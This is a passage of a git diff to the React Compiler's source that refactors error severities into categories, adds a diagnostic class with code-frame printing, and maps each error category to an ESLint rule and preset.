+import {assertExhaustive} from './Utils/utils';
+import invariant from 'invariant';
+
+// Number of context lines to display above the source of an error
+const CODEFRAME_LINES_ABOVE = 2;
+// Number of context lines to display below the source of an error
+const CODEFRAME_LINES_BELOW = 3;
+/*
+ * Max number of lines for the _source_ of an error, before we abbreviate
+ * the display of the source portion
+ */
+const CODEFRAME_MAX_LINES = 10;
+/*
+ * When the error source exceeds the above threshold, how many lines of
+ * the source should be displayed? We show:
+ * - CODEFRAME_LINES_ABOVE context lines
+ * - CODEFRAME_ABBREVIATED_SOURCE_LINES of the error
+ * - '...' ellipsis
+ * - CODEFRAME_ABBREVIATED_SOURCE_LINES of the error
+ * - CODEFRAME_LINES_BELOW context lines
+ *
+ * This value must be at least 2 or else we'll cut off important parts of the error message
+ */
+const CODEFRAME_ABBREVIATED_SOURCE_LINES = 5;
 
 export enum ErrorSeverity {
   /**
-   * Invalid JS syntax, or valid syntax that is semantically invalid which may indicate some
-   * misunderstanding on the user’s part.
-   */
-  InvalidJS = "InvalidJS",
-  /**
-   * Code that breaks the rules of React.
+   * An actionable error that the developer can fix. For example, product code errors should be
+   * reported as such.
    */
-  InvalidReact = "InvalidReact",
+  Error = 'Error',
   /**
-   * Incorrect configuration of the compiler.
+   * An error that the developer may not necessarily be able to fix. For example, syntax not
+   * supported by the compiler does not indicate any fault in the product code.
    */
-  InvalidConfig = "InvalidConfig",
+  Warning = 'Warning',
   /**
-   * Code that can reasonably occur and that doesn't break any rules, but is unsafe to preserve
-   * memoization.
+   * Not an error. These will not be surfaced in ESLint, but may be surfaced in other ways
+   * (eg Forgive) where informational hints can be shown.
    */
-  CannotPreserveMemoization = "CannotPreserveMemoization",
+  Hint = 'Hint',
   /**
-   * Unhandled syntax that we don't support yet.
+   * These errors will not be reported anywhere. Useful for work in progress validations.
    */
-  Todo = "Todo",
+  Off = 'Off',
+}
+
+export type CompilerDiagnosticOptions = {
+  category: ErrorCategory;
+  reason: string;
+  description: string | null;
+  details: Array<CompilerDiagnosticDetail>;
+  suggestions?: Array<CompilerSuggestion> | null | undefined;
+};
+
+export type CompilerDiagnosticDetail =
   /**
-   * An unexpected internal error in the compiler that indicates critical issues that can panic
-   * the compiler.
+   * A/the source of the error
    */
-  Invariant = "Invariant",
-}
+  | {
+      kind: 'error';
+      loc: SourceLocation | null;
+      message: string | null;
+    }
+  | {
+      kind: 'hint';
+      message: string;
+    };
 
 export enum CompilerSuggestionOperation {
   InsertBefore,
@@ -60,17 +100,131 @@ export type CompilerSuggestion =
       description: string;
     };
 
+/**
+ * @deprecated use {@link CompilerDiagnosticOptions} instead
+ */
 export type CompilerErrorDetailOptions = {
+  category: ErrorCategory;
   reason: string;
   description?: string | null | undefined;
-  severity: ErrorSeverity;
   loc: SourceLocation | null;
   suggestions?: Array<CompilerSuggestion> | null | undefined;
 };
 
-/*
+export type PrintErrorMessageOptions = {
+  /**
+   * ESLint uses 1-indexed columns and prints one error at a time
+   * So it doesn't require the "Found # error(s)" text
+   */
+  eslint: boolean;
+};
+
+export class CompilerDiagnostic {
+  options: CompilerDiagnosticOptions;
+
+  constructor(options: CompilerDiagnosticOptions) {
+    this.options = options;
+  }
+
+  static create(
+    options: Omit<CompilerDiagnosticOptions, 'details'>,
+  ): CompilerDiagnostic {
+    return new CompilerDiagnostic({...options, details: []});
+  }
+
+  get reason(): CompilerDiagnosticOptions['reason'] {
+    return this.options.reason;
+  }
+  get description(): CompilerDiagnosticOptions['description'] {
+    return this.options.description;
+  }
+  get severity(): ErrorSeverity {
+    return getRuleForCategory(this.category).severity;
+  }
+  get suggestions(): CompilerDiagnosticOptions['suggestions'] {
+    return this.options.suggestions;
+  }
+  get category(): ErrorCategory {
+    return this.options.category;
+  }
+
+  withDetails(...details: Array<CompilerDiagnosticDetail>): CompilerDiagnostic {
+    this.options.details.push(...details);
+    return this;
+  }
+
+  primaryLocation(): SourceLocation | null {
+    const firstErrorDetail = this.options.details.filter(
+      d => d.kind === 'error',
+    )[0];
+    return firstErrorDetail != null && firstErrorDetail.kind === 'error'
+      ? firstErrorDetail.loc
+      : null;
+  }
+
+  printErrorMessage(source: string, options: PrintErrorMessageOptions): string {
+    const buffer = [printErrorSummary(this.category, this.reason)];
+    if (this.description != null) {
+      buffer.push('\n\n', `${this.description}.`);
+    }
+    for (const detail of this.options.details) {
+      switch (detail.kind) {
+        case 'error': {
+          const loc = detail.loc;
+          if (loc == null || typeof loc === 'symbol') {
+            continue;
+          }
+          let codeFrame: string;
+          try {
+            codeFrame = printCodeFrame(source, loc, detail.message ?? '');
+          } catch (e) {
+            codeFrame = detail.message ?? '';
+          }
+          buffer.push('\n\n');
+          if (loc.filename != null) {
+            const line = loc.start.line;
+            const column = options.eslint
+              ? loc.start.column + 1
+              : loc.start.column;
+            buffer.push(`${loc.filename}:${line}:${column}\n`);
+          }
+          buffer.push(codeFrame);
+          break;
+        }
+        case 'hint': {
+          buffer.push('\n\n');
+          buffer.push(detail.message);
+          break;
+        }
+        default: {
+          assertExhaustive(
+            detail,
+            `Unexpected detail kind ${(detail as any).kind}`,
+          );
+        }
+      }
+    }
+    return buffer.join('');
+  }
+
+  toString(): string {
+    const buffer = [printErrorSummary(this.category, this.reason)];
+    if (this.description != null) {
+      buffer.push(`. ${this.description}.`);
+    }
+    const loc = this.primaryLocation();
+    if (loc != null && typeof loc !== 'symbol') {
+      buffer.push(` (${loc.start.line}:${loc.start.column})`);
+    }
+    return buffer.join('');
+  }
+}
+
+/**
  * Each bailout or invariant in HIR lowering creates an {@link CompilerErrorDetail}, which is then
  * aggregated into a single {@link CompilerError} later.
+ *
+ * @deprecated use {@link CompilerDiagnostic} instead
  */
 export class CompilerErrorDetail {
   options: CompilerErrorDetailOptions;
@@ -79,102 +233,150 @@ export class CompilerErrorDetail {
     this.options = options;
   }
 
-  get reason(): CompilerErrorDetailOptions["reason"] {
+  get reason(): CompilerErrorDetailOptions['reason'] {
     return this.options.reason;
   }
-  get description(): CompilerErrorDetailOptions["description"] {
+  get description(): CompilerErrorDetailOptions['description'] {
     return this.options.description;
   }
-  get severity(): CompilerErrorDetailOptions["severity"] {
-    return this.options.severity;
+  get severity(): ErrorSeverity {
+    return getRuleForCategory(this.category).severity;
   }
-  get loc(): CompilerErrorDetailOptions["loc"] {
+  get loc(): CompilerErrorDetailOptions['loc'] {
     return this.options.loc;
   }
-  get suggestions(): CompilerErrorDetailOptions["suggestions"] {
+  get suggestions(): CompilerErrorDetailOptions['suggestions'] {
     return this.options.suggestions;
   }
+  get category(): ErrorCategory {
+    return this.options.category;
+  }
+
+  primaryLocation(): SourceLocation | null {
+    return this.loc;
+  }
 
-  printErrorMessage(): string {
-    const buffer = [`${this.severity}: ${this.reason}`];
+  printErrorMessage(source: string, options: PrintErrorMessageOptions): string {
+    const buffer = [printErrorSummary(this.category, this.reason)];
     if (this.description != null) {
-      buffer.push(`. ${this.description}`);
+      buffer.push(`\n\n${this.description}.`);
     }
-    if (this.loc != null && typeof this.loc !== "symbol") {
-      buffer.push(` (${this.loc.start.line}:${this.loc.end.line})`);
+    const loc = this.loc;
+    if (loc != null && typeof loc !== 'symbol') {
+      let codeFrame: string;
+      try {
+        codeFrame = printCodeFrame(source, loc, this.reason);
+      } catch (e) {
+        codeFrame = '';
+      }
+      buffer.push(`\n\n`);
+      if (loc.filename != null) {
+        const line = loc.start.line;
+        const column = options.eslint ? loc.start.column + 1 : loc.start.column;
+        buffer.push(`${loc.filename}:${line}:${column}\n`);
+      }
+      buffer.push(codeFrame);
+      buffer.push('\n\n');
     }
-    return buffer.join("");
+    return buffer.join('');
   }
 
   toString(): string {
-    return this.printErrorMessage();
+    const buffer = [printErrorSummary(this.category, this.reason)];
+    if (this.description != null) {
+      buffer.push(`. ${this.description}.`);
+    }
+    const loc = this.loc;
+    if (loc != null && typeof loc !== 'symbol') {
+      buffer.push(` (${loc.start.line}:${loc.start.column})`);
+    }
+    return buffer.join('');
   }
 }
 
+/**
+ * An aggregate of {@link CompilerDiagnostic}. This allows us to aggregate all issues found by the
+ * compiler into a single error before we throw. Where possible, prefer to push diagnostics into
+ * the error aggregate instead of throwing immediately.
+ */
 export class CompilerError extends Error {
-  details: Array<CompilerErrorDetail> = [];
+  details: Array<CompilerErrorDetail | CompilerDiagnostic> = [];
+  disabledDetails: Array<CompilerErrorDetail | CompilerDiagnostic> = [];
+  printedMessage: string | null = null;
 
   static invariant(
     condition: unknown,
-    options: Omit<CompilerErrorDetailOptions, "severity">
+    options: {
+      reason: CompilerDiagnosticOptions['reason'];
+      description?: CompilerDiagnosticOptions['description'];
+      message?: string | null;
+      loc: SourceLocation;
+    },
   ): asserts condition {
     if (!condition) {
       const errors = new CompilerError();
-      errors.pushErrorDetail(
-        new CompilerErrorDetail({
-          ...options,
-          severity: ErrorSeverity.Invariant,
-        })
+      errors.pushDiagnostic(
+        CompilerDiagnostic.create({
+          reason: options.reason,
+          description: options.description ?? null,
+          category: ErrorCategory.Invariant,
+        }).withDetails({
+          kind: 'error',
+          loc: options.loc,
+          message: options.message ?? options.reason,
+        }),
       );
       throw errors;
     }
   }
 
-  static throwTodo(
-    options: Omit<CompilerErrorDetailOptions, "severity">
-  ): never {
+  static throwDiagnostic(options: CompilerDiagnosticOptions): never {
     const errors = new CompilerError();
-    errors.pushErrorDetail(
-      new CompilerErrorDetail({ ...options, severity: ErrorSeverity.Todo })
-    );
+    errors.pushDiagnostic(new CompilerDiagnostic(options));
     throw errors;
   }
 
-  static throwInvalidJS(
-    options: Omit<CompilerErrorDetailOptions, "severity">
+  static throwTodo(
+    options: Omit<CompilerErrorDetailOptions, 'category'>,
   ): never {
     const errors = new CompilerError();
     errors.pushErrorDetail(
       new CompilerErrorDetail({
         ...options,
-        severity: ErrorSeverity.InvalidJS,
-      })
+        category: ErrorCategory.Todo,
+      }),
     );
     throw errors;
   }
 
-  static throwInvalidReact(
-    options: Omit<CompilerErrorDetailOptions, "severity">
+  static throwInvalidJS(
+    options: Omit<CompilerErrorDetailOptions, 'category'>,
   ): never {
     const errors = new CompilerError();
     errors.pushErrorDetail(
       new CompilerErrorDetail({
         ...options,
-        severity: ErrorSeverity.InvalidReact,
-      })
+        category: ErrorCategory.Syntax,
+      }),
     );
     throw errors;
   }
 
+  static throwInvalidReact(options: CompilerErrorDetailOptions): never {
+    const errors = new CompilerError();
+    errors.pushErrorDetail(new CompilerErrorDetail(options));
+    throw errors;
+  }
+
   static throwInvalidConfig(
-    options: Omit<CompilerErrorDetailOptions, "severity">
+    options: Omit<CompilerErrorDetailOptions, 'category'>,
   ): never {
     const errors = new CompilerError();
     errors.pushErrorDetail(
       new CompilerErrorDetail({
         ...options,
-        severity: ErrorSeverity.InvalidConfig,
-      })
+        category: ErrorCategory.Config,
+      }),
     );
     throw errors;
   }
@@ -187,58 +389,668 @@ export class CompilerError extends Error {
 
   constructor(...args: Array<any>) {
     super(...args);
-    this.name = "ReactCompilerError";
+    this.name = 'ReactCompilerError';
+    this.details = [];
+    this.disabledDetails = [];
   }
 
   override get message(): string {
-    return this.toString();
+    return this.printedMessage ?? this.toString();
   }
 
   override set message(_message: string) {}
 
   override toString(): string {
-    return this.details.map((detail) => detail.toString()).join("\n\n");
+    if (this.printedMessage) {
+      return this.printedMessage;
+    }
+    if (Array.isArray(this.details)) {
+      return this.details.map(detail => detail.toString()).join('\n\n');
+    }
+    return this.name;
+  }
+
+  withPrintedMessage(
+    source: string,
+    options: PrintErrorMessageOptions,
+  ): CompilerError {
+    this.printedMessage = this.printErrorMessage(source, options);
+    return this;
+  }
+
+  printErrorMessage(source: string, options: PrintErrorMessageOptions): string {
+    if (options.eslint && this.details.length === 1) {
+      return this.details[0].printErrorMessage(source, options);
+    }
+    return (
+      `Found ${this.details.length} error${this.details.length === 1 ? '' : 's'}:\n\n` +
+      this.details
+        .map(detail => detail.printErrorMessage(source, options).trim())
+        .join('\n\n')
+    );
   }
 
+  merge(other: CompilerError): void {
+    this.details.push(...other.details);
+    this.disabledDetails.push(...other.disabledDetails);
+  }
+
+  pushDiagnostic(diagnostic: CompilerDiagnostic): void {
+    if (diagnostic.severity === ErrorSeverity.Off) {
+      this.disabledDetails.push(diagnostic);
+    } else {
+      this.details.push(diagnostic);
+    }
+  }
+
+  /**
+   * @deprecated use {@link pushDiagnostic} instead
+   */
   push(options: CompilerErrorDetailOptions): CompilerErrorDetail {
     const detail = new CompilerErrorDetail({
+      category: options.category,
       reason: options.reason,
       description: options.description ?? null,
-      severity: options.severity,
       suggestions: options.suggestions,
-      loc: typeof options.loc === "symbol" ? null : options.loc,
+      loc: typeof options.loc === 'symbol' ? null : options.loc,
     });
     return this.pushErrorDetail(detail);
   }
 
+  /**
+   * @deprecated use {@link pushDiagnostic} instead
+   */
   pushErrorDetail(detail: CompilerErrorDetail): CompilerErrorDetail {
-    this.details.push(detail);
+    if (detail.severity === ErrorSeverity.Off) {
+      this.disabledDetails.push(detail);
+    } else {
+      this.details.push(detail);
+    }
     return detail;
   }
 
-  hasErrors(): boolean {
+  hasAnyErrors(): boolean {
     return this.details.length > 0;
   }
 
-  /*
-   * An error is critical if it means the compiler has entered into a broken state and cannot
-   * continue safely. Other expected errors such as Todos mean that we can skip over that component
-   * but otherwise continue compiling the rest of the app.
-   */
-  isCritical(): boolean {
-    return this.details.some((detail) => {
-      switch (detail.severity) {
-        case ErrorSeverity.Invariant:
-        case ErrorSeverity.InvalidJS:
-        case ErrorSeverity.InvalidReact:
-        case ErrorSeverity.InvalidConfig:
-          return true;
-        case ErrorSeverity.CannotPreserveMemoization:
-        case ErrorSeverity.Todo:
-          return false;
-        default:
-          assertExhaustive(detail.severity, "Unhandled error severity");
+  asResult(): Result<void, CompilerError> {
+    return this.hasAnyErrors() ? Err(this) : Ok(undefined);
+  }
+
+  /**
+   * Returns true if any of the error details are of severity Error.
+   */
+  hasErrors(): boolean {
+    for (const detail of this.details) {
+      if (detail.severity === ErrorSeverity.Error) {
+        return true;
+      }
+    }
+    return false;
+  }
+
+  /**
+   * Returns true if there are no Errors and there is at least one Warning.
+   */
+  hasWarning(): boolean {
+    let res = false;
+    for (const detail of this.details) {
+      if (detail.severity === ErrorSeverity.Error) {
+        return false;
       }
-    });
+      if (detail.severity === ErrorSeverity.Warning) {
+        res = true;
+      }
+    }
+    return res;
+  }
+
+  hasHints(): boolean {
+    let res = false;
+    for (const detail of this.details) {
+      if (detail.severity === ErrorSeverity.Error) {
+        return false;
+      }
+      if (detail.severity === ErrorSeverity.Warning) {
+        return false;
+      }
+      if (detail.severity === ErrorSeverity.Hint) {
+        res = true;
+      }
+    }
+    return res;
+  }
+}
+
+function printCodeFrame(
+  source: string,
+  loc: t.SourceLocation,
+  message: string,
+): string {
+  const printed = codeFrameColumns(
+    source,
+    {
+      start: {
+        line: loc.start.line,
+        column: loc.start.column + 1,
+      },
+      end: {
+        line: loc.end.line,
+        column: loc.end.column + 1,
+      },
+    },
+    {
+      message,
+      linesAbove: CODEFRAME_LINES_ABOVE,
+      linesBelow: CODEFRAME_LINES_BELOW,
+    },
+  );
+  const lines = printed.split(/\r?\n/);
+  if (loc.end.line - loc.start.line < CODEFRAME_MAX_LINES) {
+    return printed;
+  }
+  const pipeIndex = lines[0].indexOf('|');
+  return [
+    ...lines.slice(
+      0,
+      CODEFRAME_LINES_ABOVE + CODEFRAME_ABBREVIATED_SOURCE_LINES,
+    ),
+    ' '.repeat(pipeIndex) + '…',
+    ...lines.slice(
+      -(CODEFRAME_LINES_BELOW + CODEFRAME_ABBREVIATED_SOURCE_LINES),
+    ),
+  ].join('\n');
+}
+
+function printErrorSummary(category: ErrorCategory, message: string): string {
+  let heading: string;
+  switch (category) {
+    case ErrorCategory.CapitalizedCalls:
+    case ErrorCategory.Config:
+    case ErrorCategory.EffectDerivationsOfState:
+    case ErrorCategory.EffectSetState:
+    case ErrorCategory.ErrorBoundaries:
+    case ErrorCategory.FBT:
+    case ErrorCategory.Gating:
+    case ErrorCategory.Globals:
+    case ErrorCategory.Hooks:
+    case ErrorCategory.Immutability:
+    case ErrorCategory.Purity:
+    case ErrorCategory.Refs:
+    case ErrorCategory.RenderSetState:
+    case ErrorCategory.StaticComponents:
+    case ErrorCategory.Suppression:
+    case ErrorCategory.Syntax:
+    case ErrorCategory.UseMemo:
+    case ErrorCategory.VoidUseMemo:
+    case ErrorCategory.MemoDependencies:
+    case ErrorCategory.EffectExhaustiveDependencies: {
+      heading = 'Error';
+      break;
+    }
+    case ErrorCategory.EffectDependencies:
+    case ErrorCategory.IncompatibleLibrary:
+    case ErrorCategory.PreserveManualMemo:
+    case ErrorCategory.UnsupportedSyntax: {
+      heading = 'Compilation Skipped';
+      break;
+    }
+    case ErrorCategory.Invariant: {
+      heading = 'Invariant';
+      break;
+    }
+    case ErrorCategory.Todo: {
+      heading = 'Todo';
+      break;
+    }
+    default: {
+      assertExhaustive(category, `Unhandled category '${category}'`);
+    }
   }
+  return `${heading}: ${message}`;
 }
+
+/**
+ * See getRuleForCategory() for how these map to ESLint rules
+ */
+export enum ErrorCategory {
+  /**
+   * Checking for valid hooks usage (non conditional, non-first class, non reactive, etc)
+   */
+  Hooks = 'Hooks',
+  /**
+   * Checking for no capitalized calls (not definitively an error, hence separating)
+   */
+  CapitalizedCalls = 'CapitalizedCalls',
+  /**
+   * Checking for static components
+   */
+  StaticComponents = 'StaticComponents',
+  /**
+   * Checking for valid usage of manual memoization
+   */
+  UseMemo = 'UseMemo',
+  /**
+   * Checking that useMemos always return a value
+   */
+  VoidUseMemo = 'VoidUseMemo',
+  /**
+   * Checks that manual memoization is preserved
+   */
+  PreserveManualMemo = 'PreserveManualMemo',
+  /**
+   * Checks for exhaustive useMemo/useCallback dependencies without extraneous values
+   */
+  MemoDependencies = 'MemoDependencies',
+  /**
+   * Checks for known incompatible libraries
+   */
+  IncompatibleLibrary = 'IncompatibleLibrary',
+  /**
+   * Checking for no mutations of props, hook arguments, hook return values
+   */
+  Immutability = 'Immutability',
+  /**
+   * Checking for assignments to globals
+   */
+  Globals = 'Globals',
+  /**
+   * Checking for valid usage of refs, ie no access during render
+   */
+  Refs = 'Refs',
+  /**
+   * Checks for memoized effect deps
+   */
+  EffectDependencies = 'EffectDependencies',
+  /**
+   * Checks for exhaustive and extraneous effect dependencies
+   */
+  EffectExhaustiveDependencies = 'EffectExhaustiveDependencies',
+  /**
+   * Checks for no setState in effect bodies
+   */
+  EffectSetState = 'EffectSetState',
+  EffectDerivationsOfState = 'EffectDerivationsOfState',
+  /**
+   * Validates against try/catch in place of error boundaries
+   */
+  ErrorBoundaries = 'ErrorBoundaries',
+  /**
+   * Checking for pure functions
+   */
+  Purity = 'Purity',
+  /**
+   * Validates against setState in render
+   */
+  RenderSetState = 'RenderSetState',
+  /**
+   * Internal invariants
+   */
+  Invariant = 'Invariant',
+  /**
+   * Todos
+   */
+  Todo = 'Todo',
+  /**
+   * Syntax errors
+   */
+  Syntax = 'Syntax',
+  /**
+   * Checks for use of unsupported syntax
+   */
+  UnsupportedSyntax = 'UnsupportedSyntax',
+  /**
+   * Config errors
+   */
+  Config = 'Config',
+  /**
+   * Gating error
+   */
+  Gating = 'Gating',
+  /**
+   * Suppressions
+   */
+  Suppression = 'Suppression',
+  /**
+   * fbt-specific issues
+   */
+  FBT = 'FBT',
+}
+
+export enum LintRulePreset {
+  /**
+   * Rules that are stable and included in the `recommended` preset.
+   */
+  Recommended = 'recommended',
+  /**
+   * Rules that are more experimental and only included in the `recommended-latest` preset.
+   */
+  RecommendedLatest = 'recommended-latest',
+  /**
+   * Rules that are disabled.
+   */
+  Off = 'off',
+}
+
+export type LintRule = {
+  // Stores the category the rule corresponds to, used to filter errors when reporting
+  category: ErrorCategory;
+
+  // Stores the severity of the error, which is used to map to lint levels such as error/warning.
+  severity: ErrorSeverity;
+
+  /**
+   * The "name" of the rule as it will be used by developers to enable/disable, eg
+   * "eslint-disable-nest line <name>"
+   */
+  name: string;
+
+  /**
+   * A description of the rule that appears somewhere in ESLint. This does not affect
+   * how error messages are formatted
+   */
+  description: string;
+
+  /**
+   * Configures the preset in which the rule is enabled. If 'off', the rule will not be included in
+   * any preset.
+   *
+   * NOTE: not all validations are enabled by default! Setting this flag only affects
+   * whether a given rule is part of the recommended set. The corresponding validation
+   * also should be enabled by default if you want the error to actually show up!
+   */
+  preset: LintRulePreset;
+};
+
+const RULE_NAME_PATTERN = /^[a-z]+(-[a-z]+)*$/;
+
+export function getRuleForCategory(category: ErrorCategory): LintRule {
+  const rule = getRuleForCategoryImpl(category);
+  invariant(
+    RULE_NAME_PATTERN.test(rule.name),
+    `Invalid rule name, got '${rule.name}' but rules must match ${RULE_NAME_PATTERN.toString()}`,
+  );
+  return rule;
+}
+
+function getRuleForCategoryImpl(category: ErrorCategory): LintRule {
+  switch (category) {
+    case ErrorCategory.CapitalizedCalls: {
+      return {
+        category,
+        severity: ErrorSeverity.Error,
+        name: 'capitalized-calls',
+        description:
+          'Validates against calling capitalized functions/methods instead of using JSX',
+        preset: LintRulePreset.Off,
+      };
+    }
+    case ErrorCategory.Config: {
+      return {
+        category,
+        severity: ErrorSeverity.Error,
+        name: 'config',
+        description: 'Validates the compiler configuration options',
+        preset: LintRulePreset.Recommended,
+      };
+    }
+    case ErrorCategory.EffectDependencies: {
+      return {
+        category,
+        severity: ErrorSeverity.Error,
+        name: 'memoized-effect-dependencies',
+        description: 'Validates that effect dependencies are memoized',
+        preset: LintRulePreset.Off,
+      };
+    }
+    case ErrorCategory.EffectExhaustiveDependencies: {
+      return {
+        category,
+        severity: ErrorSeverity.Error,
+        name: 'exhaustive-effect-dependencies',
+        description:
+          'Validates that effect dependencies are exhaustive and without extraneous values',
+        preset: LintRulePreset.Off,
+      };
+    }
+    case ErrorCategory.EffectDerivationsOfState: {
+      return {
+        category,
+        severity: ErrorSeverity.Error,
+        name: 'no-deriving-state-in-effects',
+        description:
+          'Validates against deriving values from state in an effect',
+        preset: LintRulePreset.Off,
+      };
+    }
+    case ErrorCategory.EffectSetState: {
+      return {
+        category,
+        severity: ErrorSeverity.Error,
+        name: 'set-state-in-effect',
+        description:
+          'Validates against calling setState synchronously in an effect. ' +
+          'This can indicate non-local derived data, a derived event pattern, or ' +
+          'improper external data synchronization.',
+        preset: LintRulePreset.Recommended,
+      };
+    }
+    case ErrorCategory.ErrorBoundaries: {
+      return {
+        category,
+        severity: ErrorSeverity.Error,
+        name: 'error-boundaries',
+        description:
+          'Validates usage of error boundaries instead of try/catch for errors in child components',
+        preset: LintRulePreset.Recommended,
+      };
+    }
+    case ErrorCategory.FBT: {
+      return {
+        category,
+        severity: ErrorSeverity.Error,
+        name: 'fbt',
+        description: 'Validates usage of fbt',
+        preset: LintRulePreset.Off,
+      };
+    }
+    case ErrorCategory.Gating: {
+      return {
+        category,
+        severity: ErrorSeverity.Error,
+        name: 'gating',
+        description:
+          'Validates configuration of [gating mode](https://react.dev/reference/react-compiler/gating)',
+        preset: LintRulePreset.Recommended,
+      };
+    }
+    case ErrorCategory.Globals: {
+      return {
+        category,
+        severity: ErrorSeverity.Error,
+        name: 'globals',
+        description:
+          'Validates against assignment/mutation of globals during render, part of ensuring that ' +
+          '[side effects must render outside of render](https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render)',
+        preset: LintRulePreset.Recommended,
+      };
+    }
+    case ErrorCategory.Hooks: {
+      return {
+        category,
+        severity: ErrorSeverity.Error,
+        name: 'hooks',
+        description: 'Validates the rules of hooks',
+        /**
+         * TODO: the "Hooks" rule largely reimplements the "rules-of-hooks" non-compiler rule.
+         * We need to dedeupe these (moving the remaining bits into the compiler) and then enable
+         * this rule.
+         */
+        preset: LintRulePreset.Off,
+      };
+    }
+    case ErrorCategory.Immutability: {
+      return {
+        category,
+        severity: ErrorSeverity.Error,
+        name: 'immutability',
+        description:
+          'Validates against mutating props, state, and other values that [are immutable](https://react.dev/reference/rules/components-and-hooks-must-be-pure#props-and-state-are-immutable)',
+        preset: LintRulePreset.Recommended,
+      };
+    }
+    case ErrorCategory.Invariant: {
+      return {
+        category,
+        severity: ErrorSeverity.Error,
+        name: 'invariant',
+        description: 'Internal invariants',
+        preset: LintRulePreset.Off,
+      };
+    }
+    case ErrorCategory.PreserveManualMemo: {
+      return {
+        category,
+        severity: ErrorSeverity.Error,
+        name: 'preserve-manual-memoization',
+        description:
+          'Validates that existing manual memoized is preserved by the compiler. ' +
+          'React Compiler will only compile components and hooks if its inference ' +
+          '[matches or exceeds the existing manual memoization](https://react.dev/learn/react-compiler/introduction#what-should-i-do-about-usememo-usecallback-and-reactmemo)',
+        preset: LintRulePreset.Recommended,
+      };
+    }
+    case ErrorCategory.Purity: {
+      return {
+        category,
+        severity: ErrorSeverity.Error,
+        name: 'purity',
+        description:
+          'Validates that [components/hooks are pure](https://react.dev/reference/rules/components-and-hooks-must-be-pure) by checking that they do not call known-impure functions',
+        preset: LintRulePreset.Recommended,
+      };
+    }
+    case ErrorCategory.Refs: {
+      return {
+        category,
+        severity: ErrorSeverity.Error,
+        name: 'refs',
+        description:
+          'Validates correct usage of refs, not reading/writing during render. See the "pitfalls" section in [`useRef()` usage](https://react.dev/reference/react/useRef#usage)',
+        preset: LintRulePreset.Recommended,
+      };
+    }
+    case ErrorCategory.RenderSetState: {
+      return {
+        category,
+        severity: ErrorSeverity.Error,
+        name: 'set-state-in-render',
+        description:
+          'Validates against setting state during render, which can trigger additional renders and potential infinite render loops',
+        preset: LintRulePreset.Recommended,
+      };
+    }
+    case ErrorCategory.StaticComponents: {
+      return {
+        category,
+        severity: ErrorSeverity.Error,
+        name: 'static-components',
+        description:
+          'Validates that components are static, not recreated every render. Components that are recreated dynamically can reset state and trigger excessive re-rendering',
+        preset: LintRulePreset.Recommended,
+      };
+    }
+    case ErrorCategory.Suppression: {
+      return {
+        category,
+        severity: ErrorSeverity.Error,
+        name: 'rule-suppression',
+        description: 'Validates against suppression of other rules',
+        preset: LintRulePreset.Off,
+      };
+    }
+    case ErrorCategory.Syntax: {
+      return {
+        category,
+        severity: ErrorSeverity.Error,
+        name: 'syntax',
+        description: 'Validates against invalid syntax',
+        preset: LintRulePreset.Off,
+      };
+    }
+    case ErrorCategory.Todo: {
+      return {
+        category,
+        severity: ErrorSeverity.Hint,
+        name: 'todo',
+        description: 'Unimplemented features',
+        preset: LintRulePreset.Off,
+      };
+    }
+    case ErrorCategory.UnsupportedSyntax: {
+      return {
+        category,
+        severity: ErrorSeverity.Warning,
+        name: 'unsupported-syntax',
+        description:
+          'Validates against syntax that we do not plan to support in React Compiler',
+        preset: LintRulePreset.Recommended,
+      };
+    }
+    case ErrorCategory.UseMemo: {
+      return {
+        category,
+        severity: ErrorSeverity.Error,
+        name: 'use-memo',
+        description:
+          'Validates usage of the useMemo() hook against common mistakes. See [`useMemo()` docs](https://react.dev/reference/react/useMemo) for more information.',
+        preset: LintRulePreset.Recommended,
+      };
+    }
+    case ErrorCategory.VoidUseMemo: {
+      return {
+        category,
+        severity: ErrorSeverity.Error,
+        name: 'void-use-memo',
+        description:
+          'Validates that useMemos always return a value and that the result of the useMemo is used by the component/hook. See [`useMemo()` docs](https://react.dev/reference/react/useMemo) for more information.',
+        preset: LintRulePreset.RecommendedLatest,
+      };
+    }
+    case ErrorCategory.MemoDependencies: {
+      return {
+        category,
+        severity: ErrorSeverity.Error,
+        name: 'memo-dependencies',
+        description:
+          'Validates that useMemo() and useCallback() specify comprehensive dependencies without extraneous values. See [`useMemo()` docs](https://react.dev/reference/react/useMemo) for more information.',
+        /**
+         * TODO: the "MemoDependencies" rule largely reimplements the "exhaustive-deps" non-compiler rule,
+         * allowing the compiler to ensure it does not regress change behavior due to different dependencies.
+         * We previously relied on the source having ESLint suppressions for any exhaustive-deps violations,
+         * but it's more reliable to verify it within the compiler.
+         *
+         * Long-term we should de-duplicate these implementations.
+         */
+        preset: LintRulePreset.Off,
+      };
+    }
+    case ErrorCategory.IncompatibleLibrary: {
+      return {
+        category,
+        severity: ErrorSeverity.Warning,
+        name: 'incompatible-library',
+        description:
+          'Validates against usage of libraries which are incompatible with memoization (manual or automatic)',
+        preset: LintRulePreset.Recommended,
+      };
+    }
+    default: {
+      assertExhaustive(category, `Unsupported category ${category}`);
+    }
+  }
+}
+
+export const LintRules: Array<LintRule> = Object.keys(ErrorCategory).map(
+  category => getRuleForCategory(category as any),
+);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Gating.ts b/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Gating.ts
index c0c56920e1b0..4a641b00db55 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Gating.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Entrypoint/Gating.ts
@@ -5,10 +5,125 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { NodePath } from "@babel/core";
-import * as t from "@babel/types";
-import { PluginOptions } from "./Options";
+import {NodePath} from '@babel/core';
+import * as t from '@babel/types';
+import {CompilerError} from '../CompilerError';
+import {GeneratedSource} from '../HIR';
+import {ProgramContext} from './Imports';
+import {ExternalFunction} from '..';
 
+/**
+ * Gating rewrite for function declarations which are referenced before their
+ * declaration site.
+ *
+ * ```js
+ * // original
+ * export default React.memo(Foo);
+ * function Foo() { ... }
+ *
+ * // React compiler optimized + gated
+ * import {gating} from 'myGating';
+ * export default React.memo(Foo);
+ * const gating_result = gating();  <- inserted
+ * function Foo_optimized() {}      <- inserted
+ * function Foo_unoptimized() {}    <- renamed from Foo
+ * function Foo() {                 <- inserted function, which can be hoisted by JS engines
+ *   if (gating_result) return Foo_optimized();
+ *   else return Foo_unoptimized();
+ * }
+ * ```
+ */
+function insertAdditionalFunctionDeclaration(
